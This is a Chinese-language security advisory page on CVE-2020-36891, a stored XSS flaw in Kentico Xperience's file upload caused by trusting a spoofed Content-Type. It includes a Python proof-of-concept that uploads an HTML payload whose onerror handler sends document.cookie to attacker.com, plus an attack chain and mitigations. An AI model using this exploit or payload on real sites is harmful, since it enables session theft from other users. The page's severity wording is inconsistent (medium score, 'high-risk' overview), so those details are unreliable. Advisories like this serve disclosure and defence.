IPBUF安全漏洞报告
English
CVE-2020-36891 CVSS 5.4 中危

CVE-2020-36891: Kentico Xperience存储型XSS漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2020-36891
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Kentico Xperience

相关标签

存储型XSS文件上传绕过Content-Type欺骗Kentico XperienceMIME类型混淆Web应用安全CVE-2020-36891

漏洞概述

CVE-2020-36891是Kentico Xperience中的一个高危安全漏洞,属于存储型跨站脚本攻击(Stored XSS)。该漏洞源于应用程序在文件上传功能中未正确验证上传文件的Content-Type与实际文件扩展名之间的匹配性。攻击者可以利用此漏洞上传包含恶意JavaScript代码的文件,并通过操纵MIME类型使其绕过安全检查。当其他用户访问或查看这些被上传的恶意文件时,嵌入其中的恶意脚本将在受害者浏览器中执行,从而窃取会话令牌、劫持用户账户或进行其他恶意操作。此漏洞需要攻击者具有低权限账户,但能够通过网络远程利用,对应用程序的整体安全性构成严重威胁。

技术细节

该漏洞存在于Kentico Xperience的文件上传处理模块中。应用程序在接收用户上传的文件时,仅检查了Content-Type header中声明的MIME类型,而未验证文件内容的实际格式或文件扩展名是否与声明的MIME类型一致。攻击者可以构造一个HTML或SVG文件,其中包含恶意JavaScript代码(如<script>alert('XSS')</script>),但将其Content-Type设置为image/png或image/jpeg等图片MIME类型,从而绕过服务器端的内容类型验证。文件被存储在服务器上后,当其他用户通过应用程序的Web界面访问或预览该文件时,浏览器会根据文件内容(而非服务器声明的Content-Type)将其解析为HTML/SVG,导致嵌入的JavaScript代码被执行。由于这是存储型XSS,恶意脚本会永久存在于服务器上,影响所有访问该内容的用户。攻击者可利用此漏洞进行会话劫持、凭证窃取、蠕虫传播等攻击。

攻击链分析

STEP 1
步骤1
攻击者获取Kentico Xperience的低权限账户(如普通用户或访客账户)
STEP 2
步骤2
攻击者创建包含恶意JavaScript代码的HTML/SVG文件,如<script>alert(document.cookie)</script>
STEP 3
步骤3
攻击者通过文件上传功能上传该恶意文件,但将Content-Type header设置为image/png或image/jpeg等图片MIME类型
STEP 4
步骤4
服务器端仅验证Content-Type header,未检查文件内容或扩展名,恶意文件被成功上传并存储
STEP 5
步骤5
当其他用户访问或预览该文件时,浏览器根据文件实际内容将其解析为HTML/SVG
STEP 6
步骤6
嵌入的恶意JavaScript代码在受害者浏览器中执行,实现会话劫持、凭证窃取等攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2020-36891 PoC - Kentico Xperience Stored XSS via File Upload # Target: Kentico Xperience instances with vulnerable file upload functionality def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS by uploading a malicious file with spoofed Content-Type """ login_url = f"{target_url}/CMSPages/logon.aspx" upload_url = f"{target_url}/CMSModules/MediaLibrary/CMSPages/FileUploader.ashx" # Create malicious HTML file with XSS payload xss_payload = '''<!DOCTYPE html> <html> <head><title>XSS</title></head> <body> <script>alert(document.cookie)</script> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> </body> </html>''' session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'username': username, 'password': password, 'login': 'Login' } session.post(login_url, data=login_data) # Step 2: Upload malicious file with spoofed MIME type files = { 'file': ('malicious.html', xss_payload.encode(), 'image/png') } headers = { 'Content-Type': 'image/png', 'X-Requested-With': 'XMLHttpRequest' } response = session.post(upload_url, files=files, headers=headers) if response.status_code == 200: print('[+] Malicious file uploaded successfully!') print('[+] XSS payload will execute when file is viewed') print(f'[+] File URL: {response.json().get("file_url", "Check response")}') else: print('[-] Upload failed') return False return True if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

影响范围

Kentico Xperience < 13.0.200
Kentico Xperience 12.0.x < 12.0.180
Kentico CMS < 9.0.150

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 禁用不必要的文件上传功能;2) 对上传目录设置严格的访问权限,限制用户直接访问上传文件;3) 配置Web应用防火墙(WAF)规则,检测和阻止包含恶意脚本的文件上传请求;4) 启用输入验证和输出编码,对所有用户生成的内容进行HTML实体编码;5) 限制低权限用户的文件上传权限,仅允许受信任的管理员上传文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表